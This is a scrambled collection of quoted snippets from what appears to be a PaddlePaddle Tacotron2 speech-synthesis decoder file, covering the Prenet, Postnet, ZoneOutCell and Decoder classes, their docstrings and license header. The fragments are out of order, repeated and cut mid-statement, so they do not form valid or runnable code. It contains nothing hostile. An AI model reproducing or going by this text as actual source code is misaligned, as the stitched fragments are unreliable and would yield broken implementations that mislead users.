(B, Lmax, Tmax). Note ---------- This computation is", "Parameters ---------- x : Tensor Batch of input tensors (B,", "by Randomly Preserving Hidden Activations`_. This code is modified from", "probs = paddle.concat(probs, axis=0) att_ws = paddle.concat(att_ws, axis=0) break if", "Tensor(int64) padded Batch of lengths of each input batch (B,).", "100. use_att_constraint : bool Whether to apply attention constraint introduced", "cell module e.g. `paddle.nn.LSTMCell`. zoneout_rate : float, optional Probability of", "units. postnet_layers : int, optional The number of postnet layers.", "of int hlens = list(map(int, hlens)) # initialize hidden states", "c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim])", "outputs. n_layers : int, optional The number of prenet layers.", "+= self.reduction_factor # decoder calculation if self.use_att_extra_inputs: att_c, att_w =", "- 1], (z_list[i], c_list[i])) z_list[i], c_list[i] = next_hidden zcs =", "0.0: lstm = ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) # define prenet if", "nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1,", "size in attention constraint. Returns ---------- Tensor Output sequence of", "att_w = self.att(hs, hlens, z_list[0], prev_att_w, prev_out) else: att_c, att_w", "Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self,", "if self.output_activation_fn is not None: outs = self.output_activation_fn(outs) return outs,", "auto-regressive lstm, which helps to learn diagonal attentions. Notes ----------", "of int # hlens = list(map(int, hlens)) # initialize hidden", "LSTMCell in paddle _, next_hidden = self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0],", "not None: prev_att_w = prev_att_w + att_w # Note: error", "ys.transpose([1, 0, 2]): if self.use_att_extra_inputs: att_c, att_w = self.att(hs, hlens,", "if use_concate else dunits self.feat_out = nn.Linear( iunits, odim *", "Lmax, odim). Returns ---------- numpy.ndarray Batch of attention weights (B,", "---------- x : Tensor Batch of input tensors (B, ...,", "axis=2) if self.postnet is not None: # (1, odim, L)", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "= idim + dunits if use_concate else dunits self.feat_out =", "Authors. All Rights Reserved. # # Licensed under the Apache", "zoneout described in `Zoneout: Regularizing RNNs by Randomly Preserving Hidden", "int, optional The number of filter size. n_units : int,", "module alway applies dropout even in evaluation. See the detail", "paddle.concat(probs, axis=0) att_ws = paddle.concat(att_ws, axis=0) break if self.output_activation_fn is", "# define projection layers iunits = idim + dunits if", "states of decoder c_list = [self._zero_state(hs)] z_list = [self._zero_state(hs)] for", "of padded hidden states (B, Tmax, idim). hlens : Tensor(int64)", "paddle _, next_hidden = self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0], c_list[0] =", "+ att_w else: prev_att_w = att_w # (B, Lmax, Tmax)", "if self.cumulate_att_w and prev_att_w is not None: prev_att_w = prev_att_w", "= self.prenet( prev_out) if self.prenet is not None else prev_out", "# Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related modules.\"\"\" import paddle", "forward propagation. Parameters ---------- inputs : Tensor Batch of input", "of initial hidden states (B, hidden_size). - Tensor: Batch of", "hs): init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs def forward(self, hs,", "[], [] for y in ys.transpose([1, 0, 2]): if self.use_att_extra_inputs:", "float, optional Minimum length ratio. If set to 1.0 and", "len(self.lstm)): c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([1,", "Apache License, Version 2.0 (the \"License\"); # you may not", "else: prev_att_w = att_w # (B, Lmax) logits = paddle.concat(logits,", "either express or implied. # See the License for the", "of outputs will be 10 * 10 = 100. use_att_constraint", "related modules.\"\"\" import paddle import paddle.nn.functional as F import six", "[self.feat_out(zcs).reshape([1, self.odim, -1])] # [(r), ...] probs += [F.sigmoid(self.prob_out(zcs))[0]] if", "(B, ..., idim). Returns ---------- Tensor Batch of output tensors", "hs, hlens, ys): \"\"\"Calculate all of the attention weights. Parameters", "nn.Linear( iunits, odim * reduction_factor, bias_attr=False) self.prob_out = nn.Linear(iunits, reduction_factor)", "+= [self._zero_state(hs)] prev_out = paddle.zeros([1, self.odim]) # initialize attention prev_att_w", "not None: before_outs = self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs) return after_outs,", "odim) if self.cumulate_att_w and prev_att_w is not None: prev_att_w =", "h.unsqueeze(0) ilens = paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0] * maxlenratio) minlen", "= (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1]) outs +=", "the decoder of Spectrogram prediction network, which described in `Natural", "detail sturcture of spectrogram. .. _`Natural TTS Synthesis by Conditioning", "n_units : int, optional The number of filter channels. use_batch_norm", "tensor (B, input_size). hidden : tuple - Tensor: Batch of", "is 10, the minimum length of outputs will be 10", "prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) else: att_c, att_w = self.att(", "prev_att_w is not None: # Note: error when use +=", "Minimum length ratio. If set to 1.0 and the length", "hidden) next_hidden = self._zoneout(hidden, next_hidden, self.zoneout_rate) # to have the", "prev_att_w = att_w # (B, Lmax, Tmax) att_ws = paddle.stack(att_ws,", "nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1,", "for layer in six.moves.range(n_layers): n_inputs = idim if layer ==", "in auto-regressive manner. .. _`Deep Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\" #", "= outs + self.postnet(outs) # (L, odim) outs = outs.transpose([0,", "dropout 是不能去掉的 x = F.dropout(self.prenet[i](x)) return x class Postnet(nn.Layer): \"\"\"Postnet", "on Mel Spectrogram Predictions`_. .. _`Natural TTS Synthesis by Conditioning", "next hidden states (B, hidden_size). - Tensor: Batch of next", "an output sequence outs, logits, att_ws = [], [], []", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "function for outputs. cumulate_att_w : bool, optional Whether to cumulate", "c_list = [self._zero_state(hs)] z_list = [self._zero_state(hs)] for _ in six.moves.range(1,", "not None: # (1, odim, L) outs = outs +", "(B, Lmax, odim) after_outs = after_outs.transpose([0, 2, 1]) logits =", "helps to learn diagonal attentions. Notes ---------- This module alway", "inputs before input to auto-regressive lstm, which helps to learn", "paddle.concat([att_c, prenet_out], axis=1) # we only use the second output", "prev_att_w is not None: prev_att_w = prev_att_w + att_w #", "propagation. Parameters ---------- inputs : Tensor Batch of input tensor", "in `Deep Voice 3`_. backward_window : int Backward window size", "2, bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential(", "1) // 2, bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate), )) ichans =", "in six.moves.range(1, len(self.lstm)): # we only use the second output", "Spectrogram prediction network. This is a module of decoder of", "inference( self, h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None, ):", "0 outs, att_ws, probs = [], [], [] while True:", "check whether to finish generation if sum(paddle.cast(probs[-1] >= threshold, 'int64'))", "sequences of padded hidden states (B, Tmax, idim). hlens :", "Lmax, odim). Tensor Batch of logits of stop prediction (B,", "int Dimension of the inputs. odim : int Dimension of", "# store the hyperparameters self.idim = idim self.odim = odim", "[], [] while True: # updated index idx += self.reduction_factor", "Batch of next hidden states (B, hidden_size). tuple: - Tensor:", "Batch of the sequences of padded hidden states (B, Tmax,", "units. \"\"\" super().__init__() self.dropout_rate = dropout_rate self.prenet = nn.LayerList() for", "True else: self.use_att_extra_inputs = False # define lstm network prenet_units", "projection layers iunits = idim + dunits if use_concate else", "minlen = int(paddle.shape(h)[0] * minlenratio) # initialize hidden states of", "the second output of LSTMCell in paddle _, next_hidden =", "use the second output of LSTMCell in paddle _, next_hidden", "nn.LayerList() for layer in six.moves.range(dlayers): iunits = idim + prenet_units", "dropout even in evaluation. See the detail in `Natural TTS", "), nn.Dropout(dropout_rate), )) def forward(self, xs): \"\"\"Calculate forward propagation. Parameters", "_`Deep Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\" # setup assert len(paddle.shape(h)) ==", "z_list += [self._zero_state(hs)] prev_out = paddle.zeros([1, self.odim]) # initialize attention", "layer == 0 else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def", "else odim self.lstm = nn.LayerList() for layer in six.moves.range(dlayers): iunits", "nn.Dropout(dropout_rate), )) def forward(self, xs): \"\"\"Calculate forward propagation. Parameters ----------", "* 10 = 100. use_att_constraint : bool Whether to apply", "embedding with decoder lstm outputs. dropout_rate : float, optional Dropout", ")) def forward(self, xs): \"\"\"Calculate forward propagation. Parameters ---------- xs", "= att_w # (B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1)", "paddle _, next_hidden = self.cell(inputs, hidden) next_hidden = self._zoneout(hidden, next_hidden,", "optional The number of postnet layers. postnet_filts : int, optional", "zoneout_rate > 0.0: lstm = ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) # define", "Predictions`_. .. _`Natural TTS Synthesis by Conditioning WaveNet on Mel", "use_batch_norm : bool, optional Whether to use batch normalization.. dropout_rate", "= before_outs + self.postnet(before_outs) else: after_outs = before_outs # (B,", "10, the maximum length of outputs will be 10 *", "# (B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1) return att_ws", "for an output sequence att_ws = [] for y in", "decoder calculation if self.use_att_extra_inputs: att_c, att_w = self.att( hs, ilens,", "Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self, cell, zoneout_rate=0.1):", "prob = tuple([prob] * num_h) return tuple( [self._zoneout(h[i], next_h[i], prob[i])", "hidden states. .. _`Natural TTS Synthesis by Conditioning WaveNet on", "`Deep Voice 3`_. backward_window : int Backward window size in", "after postnet (B, Lmax, odim). Tensor Batch of output tensors", "= self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) # teacher forcing prev_out", "raise ValueError( \"zoneout probability must be in the range from", "len(self.lstm)): # we only use the second output of LSTMCell", "optional Probability of zoneout from 0.0 to 1.0. \"\"\" super().__init__()", "use this file except in compliance with the License. #", "# setup assert len(paddle.shape(h)) == 2 hs = h.unsqueeze(0) ilens", "[ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ] logits += [self.prob_out(zcs)] att_ws +=", "= int(paddle.shape(h)[0] * maxlenratio) minlen = int(paddle.shape(h)[0] * minlenratio) #", "_, next_hidden = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) z_list[i], c_list[i]", "Tensor Batch of the sequences of padded target features (B,", "float, optional Dropout rate. zoneout_rate : float, optional Zoneout rate.", "if self.output_activation_fn is not None: prev_out = self.output_activation_fn( outs[-1][:, :,", "generation. minlenratio : float, optional Minimum length ratio. If set", ": int, optional The number of prenet units. \"\"\" super().__init__()", "stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.Dropout(dropout_rate), ))", "Lmax, odim) before_outs = before_outs.transpose([0, 2, 1]) # (B, Lmax,", "six.moves.range(n_layers - 1): ichans = odim if layer == 0", "if isinstance(h, tuple): num_h = len(h) if not isinstance(prob, tuple):", "hlens, ys): \"\"\"Calculate all of the attention weights. Parameters ----------", "self.cell(inputs, hidden) next_hidden = self._zoneout(hidden, next_hidden, self.zoneout_rate) # to have", "odim, Lmax) after_outs = before_outs + self.postnet(before_outs) else: after_outs =", "\"\"\"ZoneOut Cell module. This is a module of zoneout described", ": Tensor Batch of input tensor (B, input_size). hidden :", "the sequences of padded target features (B, Lmax, odim). Returns", "length of outputs will be 10 * 10 = 100.", "[] for y in ys.transpose([1, 0, 2]): if self.use_att_extra_inputs: att_c,", "layer in six.moves.range(n_layers): n_inputs = idim if layer == 0", "attention class. dlayers int, optional The number of decoder lstm", "else: prev_out = outs[-1][:, :, -1] # (1, odim) if", ": bool, optional Whether to cumulate previous attention weight. use_batch_norm", "weights. Parameters ---------- hs : Tensor Batch of the sequences", "(z_list[i], c_list[i])) z_list[i], c_list[i] = next_hidden zcs = (paddle.concat([z_list[-1], att_c],", "prenet_out], axis=1) # we only use the second output of", "n_layers : int, optional The number of layers. n_filts :", "on Mel Spectrogram Predictions`_. The Postnet predicts refines the predicted", "optional The number of filter size. n_units : int, optional", "= self.att( hs, ilens, z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window,", ")) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts", "== n_layers - 1 else n_chans if use_batch_norm: self.postnet.append( nn.Sequential(", "in compliance with the License. # You may obtain a", "probability must be in the range from 0.0 to 1.0.\")", "---------- Tensor Batch of output tensors (B, ..., odim). \"\"\"", "> 0: self.postnet = Postnet( idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts,", "software # distributed under the License is distributed on an", "alway applies dropout even in evaluation. See the detail in", "if layer == 0 else dunits lstm = nn.LSTMCell(iunits, dunits)", "Mel Spectrogram Predictions`_. .. _`Natural TTS Synthesis by Conditioning WaveNet", "optional Whether to concatenate encoder embedding with decoder lstm outputs.", "type if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs = True else: self.use_att_extra_inputs =", "apply recursively if isinstance(h, tuple): num_h = len(h) if not", "LSTMCell in paddle _, next_hidden = self.cell(inputs, hidden) next_hidden =", "prev_out) else: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w) prenet_out", ": int, optional The number of postnet filter size. postnet_chans", "be list of int hlens = list(map(int, hlens)) # initialize", "cell self.hidden_size = cell.hidden_size self.zoneout_rate = zoneout_rate if zoneout_rate >", "# (1, odim, L) outs = outs + self.postnet(outs) #", "out cell module. Parameters ---------- cell : nn.Layer: Paddle recurrent", "conversion of inputs before input to auto-regressive lstm, which helps", "next cell states (B, hidden_size). \"\"\" # we only use", "self.reduction_factor - 1::self.reduction_factor] # length list should be list of", "L) outs = paddle.concat(outs, axis=2) if self.postnet is not None:", "which helps to compensate the detail sturcture of spectrogram. ..", "tuple): prob = tuple([prob] * num_h) return tuple( [self._zoneout(h[i], next_h[i],", "Probability of zoneout from 0.0 to 1.0. \"\"\" super().__init__() self.cell", "odim, n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize postnet module.", "hidden): \"\"\"Calculate forward propagation. Parameters ---------- inputs : Tensor Batch", "[F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is not None: prev_out = self.output_activation_fn( outs[-1][:,", ": Tensor Batch of the sequences of padded input tensors", "from paddle import nn from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class Prenet(nn.Layer):", "postnet filter channels. output_activation_fn : nn.Layer, optional Activation function for", "idim, n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet module. Parameters ---------- idim", "* maxlenratio) minlen = int(paddle.shape(h)[0] * minlenratio) # initialize hidden", "Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\"", "def forward(self, xs): \"\"\"Calculate forward propagation. Parameters ---------- xs :", "odim). Tensor Batch of output tensors before postnet (B, Lmax,", "Spectrogram Predictions`_. The Postnet predicts refines the predicted Mel-filterbank of", "prenet_layers > 0: self.prenet = Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate,", "ys : Tensor Batch of the sequences of padded target", "Tensor(int64) Batch of lengths of each input batch (B,). ys", "of decoder lstm units. prenet_layers : int, optional The number", "to 1.0.\") def forward(self, inputs, hidden): \"\"\"Calculate forward propagation. Parameters", "n_layers - 1 else n_chans if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D(", "x = F.dropout(self.prenet[i](x)) return x class Postnet(nn.Layer): \"\"\"Postnet module for", "prev_out = self.output_activation_fn( outs[-1][:, :, -1]) # (1, odim) else:", "prev_att_w, prev_out) else: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w)", "None: # (1, odim, L) outs = outs + self.postnet(outs)", "the sequences of padded input tensors (B, idim, Tmax). Returns", "= self.output_activation_fn(outs) return outs, probs, att_ws def calculate_all_attentions(self, hs, hlens,", "Returns ---------- Tensor Batch of output tensors after postnet (B,", "Tensor Batch of input tensor (B, input_size). hidden : tuple", "lstm = paddle.nn.LSTMCell(16, 32) >>> lstm = ZoneOutCell(lstm, 0.5) ..", "length ratio. If set to 1.0 and the length of", "2 hs = h.unsqueeze(0) ilens = paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0]", "Mel Spectrogram Predictions`_. The decoder generates the sequence of features", "with the License. # You may obtain a copy of", "(B, Lmax, odim). Tensor Batch of logits of stop prediction", "output of LSTMCell in paddle _, next_hidden = self.cell(inputs, hidden)", "z_list[0], prev_att_w) prenet_out = self.prenet( prev_out) if self.prenet is not", "Hidden Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self, cell,", "be in the range from 0.0 to 1.0.\") def forward(self,", "Whether to cumulate previous attention weight. use_batch_norm : bool, optional", "i in six.moves.range(len(self.postnet)): xs = self.postnet[i](xs) return xs class ZoneOutCell(nn.Layer):", "x : Tensor Batch of input tensors (B, ..., idim).", "* num_h) return tuple( [self._zoneout(h[i], next_h[i], prob[i]) for i in", "lstm outputs. dropout_rate : float, optional Dropout rate. zoneout_rate :", "None: prev_att_w = prev_att_w + att_w # Note: error when", "paddle.zeros([1, self.odim]) # initialize attention prev_att_w = None self.att.reset() #", ": tuple - Tensor: Batch of initial hidden states (B,", "iunits = idim + dunits if use_concate else dunits self.feat_out", "self.prob_out = nn.Linear(iunits, reduction_factor) # initialize # self.apply(decoder_init) def _zero_state(self,", "nn.ReLU())) def forward(self, x): \"\"\"Calculate forward propagation. Parameters ---------- x", "function for scaling if self.output_activation_fn is not None: before_outs =", "prediction network. This is a module of Postnet in Spectrogram", "self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) z_list[i], c_list[i] = next_hidden zcs", ">>> lstm = ZoneOutCell(lstm, 0.5) .. _`Zoneout: Regularizing RNNs by", "att_w # Note: error when use += else: prev_att_w =", "if layer == 0 else n_chans ochans = odim if", "mininum length if idx < minlen: continue # (1, odim,", "self.apply(decoder_init) def _zero_state(self, hs): init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs", "Tmax). Note ---------- This computation is performed in teacher-forcing manner.", "dropout_rate : float, optional Dropout rate.. \"\"\" super().__init__() self.postnet =", "(1, odim, L) outs = paddle.concat(outs, axis=2) if self.postnet is", "Paddle recurrent cell module e.g. `paddle.nn.LSTMCell`. zoneout_rate : float, optional", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "the sequences of padded hidden states (B, Tmax, idim). hlens", "use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts -", "attentions. Notes ---------- This module alway applies dropout even in", "of the sequences of padded input tensors (B, idim, Tmax).", "when use += prev_att_w = prev_att_w + att_w else: prev_att_w", "after_outs.transpose([0, 2, 1]) logits = logits # apply activation function", "weight. use_batch_norm : bool, optional Whether to use batch normalization.", "output of LSTMCell in paddle _, next_hidden = self.lstm[i](z_list[i -", "h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None, ): \"\"\"Generate the", "if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts", "prenet units. \"\"\" super().__init__() self.dropout_rate = dropout_rate self.prenet = nn.LayerList()", "- 1 else n_chans if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans,", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "to apply attention constraint introduced in `Deep Voice 3`_. backward_window", "of Spectrogram prediction network. This is a module of Prenet", "\"\"\" def __init__( self, idim, odim, att, dlayers=2, dunits=1024, prenet_layers=2,", "r), ...] outs += [self.feat_out(zcs).reshape([1, self.odim, -1])] # [(r), ...]", "of the outputs. att nn.Layer Instance of attention class. dlayers", "Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self, idim, n_layers=2, n_units=256, dropout_rate=0.5):", "cumulate_att_w : bool, optional Whether to cumulate previous attention weight.", "CONDITIONS OF ANY KIND, either express or implied. # See", "dropout_rate=dropout_rate, ) else: self.prenet = None # define postnet if", "n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else: self.postnet = None # define", "prenet_out = self.prenet( prev_out) if self.prenet is not None else", "# (1, odim) else: prev_out = outs[-1][:, :, -1] #", "odim) before_outs = before_outs.transpose([0, 2, 1]) # (B, Lmax, odim)", "hidden states (B, hidden_size). - Tensor: Batch of initial cell", "features given the sequences of characters. Parameters ---------- h :", "paddle.nn.LSTMCell(16, 32) >>> lstm = ZoneOutCell(lstm, 0.5) .. _`Zoneout: Regularizing", "optional Activation function for outputs. cumulate_att_w : bool, optional Whether", "c_list[i])) z_list[i], c_list[i] = next_hidden zcs = (paddle.concat([z_list[-1], att_c], axis=1)", "outs, att_ws, probs = [], [], [] while True: #", "if self.output_activation_fn is not None: before_outs = self.output_activation_fn(before_outs) after_outs =", "initialize # self.apply(decoder_init) def _zero_state(self, hs): init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size])", "The number of decoder lstm units. prenet_layers : int, optional", "layers iunits = idim + dunits if use_concate else dunits", "mask * h + (1 - mask) * next_h else:", "= Postnet( idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, )", "of the sequences of padded target features (B, Lmax, odim).", "Tacotron2, which described in `Natural TTS Synthesis by Conditioning WaveNet", "nn.LSTMCell(iunits, dunits) if zoneout_rate > 0.0: lstm = ZoneOutCell(lstm, zoneout_rate)", "dunits self.feat_out = nn.Linear( iunits, odim * reduction_factor, bias_attr=False) self.prob_out", "= self.att(hs, hlens, z_list[0], prev_att_w, prev_out) else: att_c, att_w =", "for layer in six.moves.range(n_layers - 1): ichans = odim if", "- 1) // 2, bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), ))", "outs = paddle.concat(outs, axis=2) if self.postnet is not None: #", "same output format with LSTMCell in paddle return next_hidden[0], next_hidden", "Prenet(nn.Layer): \"\"\"Prenet module for decoder of Spectrogram prediction network. This", "in Tacotron2, which described in `Natural TTS Synthesis by Conditioning", "if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts", "TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_. ..", "hidden states (B, Tmax, idim). hlens : Tensor(int64) Batch of", "limitations under the License. # Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder", "This is a module of decoder of Spectrogram prediction network", ": Tensor Batch of input tensors (B, ..., idim). Returns", "prenet layers. prenet_units : int, optional The number of prenet", "* next_h class Decoder(nn.Layer): \"\"\"Decoder module of Spectrogram prediction network.", "= None self.att.reset() # loop for an output sequence att_ws", "nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts - 1) //", "forward(self, inputs, hidden): \"\"\"Calculate forward propagation. Parameters ---------- inputs :", "manner. .. _`Deep Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\" # setup assert", "sum(paddle.cast(probs[-1] >= threshold, 'int64')) > 0 or idx >= maxlen:", "next hidden states (B, hidden_size). tuple: - Tensor: Batch of", "Predictions`_. The decoder generates the sequence of features from the", "_`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize zone out", "if self.reduction_factor > 1: ys = ys[:, self.reduction_factor - 1::self.reduction_factor]", "next_h[i], prob[i]) for i in range(num_h)]) if self.training: mask =", "10 * 10 = 100. use_att_constraint : bool Whether to", "Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_. .. _`Natural", "outputs. n_layers : int, optional The number of layers. n_filts", ": int, optional The number of decoder lstm units. prenet_layers", "cell.hidden_size self.zoneout_rate = zoneout_rate if zoneout_rate > 1.0 or zoneout_rate", "is a module of zoneout described in `Zoneout: Regularizing RNNs", ": bool, optional Whether to concatenate encoder embedding with decoder", "in six.moves.range(n_layers - 1): ichans = odim if layer ==", "_`Natural TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`:", "after_outs = before_outs + self.postnet(before_outs) else: after_outs = before_outs #", "nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans,", "The decoder generates the sequence of features from the sequence", "---------- Tensor Batch of next hidden states (B, hidden_size). tuple:", "10. minlenratio : float, optional Minimum length ratio. If set", "return outs, probs, att_ws def calculate_all_attentions(self, hs, hlens, ys): \"\"\"Calculate", "of input tensor (B, input_size). hidden : tuple - Tensor:", "[(1, odim, r), ...] outs += [self.feat_out(zcs).reshape([1, self.odim, -1])] #", "The number of filter channels. use_batch_norm : bool, optional Whether", "Tensor: Batch of next hidden states (B, hidden_size). - Tensor:", "Batch of the sequences of padded target features (B, Lmax,", "assert len(paddle.shape(h)) == 2 hs = h.unsqueeze(0) ilens = paddle.shape(h)[0]", "number of decoder lstm layers. dunits : int, optional The", "stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate),", "before_outs # (B, Lmax, odim) before_outs = before_outs.transpose([0, 2, 1])", "---------- This computation is performed in auto-regressive manner. .. _`Deep", "# (1, odim) if self.cumulate_att_w and prev_att_w is not None:", "from the sequence of the hidden states. .. _`Natural TTS", "(1, odim, L) outs = outs + self.postnet(outs) # (L,", "# to have the same output format with LSTMCell in", "if n_layers != 1 else odim if use_batch_norm: self.postnet.append( nn.Sequential(", "self, idim, odim, n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize", "The number of layers. n_filts : int, optional The number", "logits = logits # apply activation function for scaling if", "> 1: # (B, odim, Lmax) before_outs = before_outs.reshape( [paddle.shape(before_outs)[0],", "Batch of logits of stop prediction (B, Lmax). Tensor Batch", "Randomly Preserving Hidden Activations`_. This code is modified from `eladhoffer/seq2seq.pytorch`_.", "ratio. If set to 10 and the length of input", "optional The number of prenet units. postnet_layers : int, optional", "Lmax) after_outs = before_outs + self.postnet(before_outs) else: after_outs = before_outs", "evaluation. See the detail in `Natural TTS Synthesis by Conditioning", "six.moves.range(n_layers): n_inputs = idim if layer == 0 else n_units", "\"\"\"Initialize postnet module. Parameters ---------- idim : int Dimension of", "bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans,", "backward_window=backward_window, forward_window=forward_window, ) else: att_c, att_w = self.att( hs, ilens,", "---------- This module alway applies dropout even in evaluation. See", "F.dropout(self.prenet[i](x)) return x class Postnet(nn.Layer): \"\"\"Postnet module for Spectrogram prediction", "+ self.postnet(before_outs) else: after_outs = before_outs # (B, Lmax, odim)", "generation if sum(paddle.cast(probs[-1] >= threshold, 'int64')) > 0 or idx", "loop for an output sequence outs, logits, att_ws = [],", "maxlenratio) minlen = int(paddle.shape(h)[0] * minlenratio) # initialize hidden states", "# F.dropout 引入了随机, tacotron2 的 dropout 是不能去掉的 x = F.dropout(self.prenet[i](x))", "prev_att_w = att_w if use_att_constraint: last_attended_idx = int(att_w.argmax()) # check", "# define prenet if prenet_layers > 0: self.prenet = Prenet(", "(B, Tmax, idim). hlens : Tensor(int64) padded Batch of lengths", "num_h = len(h) if not isinstance(prob, tuple): prob = tuple([prob]", "att_ws, probs = [], [], [] while True: # updated", "if postnet_layers > 0: self.postnet = Postnet( idim=idim, odim=odim, n_layers=postnet_layers,", "Batch of next cell states (B, hidden_size). \"\"\" # we", "lstm = ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) # define prenet if prenet_layers", "number of postnet layers. postnet_filts : int, optional The number", "= Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, ) else: self.prenet =", "finish generation if sum(paddle.cast(probs[-1] >= threshold, 'int64')) > 0 or", "tensor. (B, odim, Tmax). \"\"\" for i in six.moves.range(len(self.postnet)): xs", "in evaluation. See the detail in `Natural TTS Synthesis by", "(paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1]) outs += [", "odim) -> (B, Lmax/r, odim) if self.reduction_factor > 1: ys", "return after_outs, before_outs, logits, att_ws def inference( self, h, threshold=0.5,", "stop probabilities (L,). Tensor Attention weights (L, T). Note ----------", "== 0 else dunits lstm = nn.LSTMCell(iunits, dunits) if zoneout_rate", "features (L, odim). Tensor Output sequence of stop probabilities (L,).", "# teacher forcing prev_out = y if self.cumulate_att_w and prev_att_w", "computation is performed in teacher-forcing manner. \"\"\" # thin out", "initial hidden states (B, hidden_size). - Tensor: Batch of initial", "self.use_att_extra_inputs = True else: self.use_att_extra_inputs = False # define lstm", "---------- >>> lstm = paddle.nn.LSTMCell(16, 32) >>> lstm = ZoneOutCell(lstm,", "10 and the length of input is 10, the maximum", "use_att_constraint=False, backward_window=None, forward_window=None, ): \"\"\"Generate the 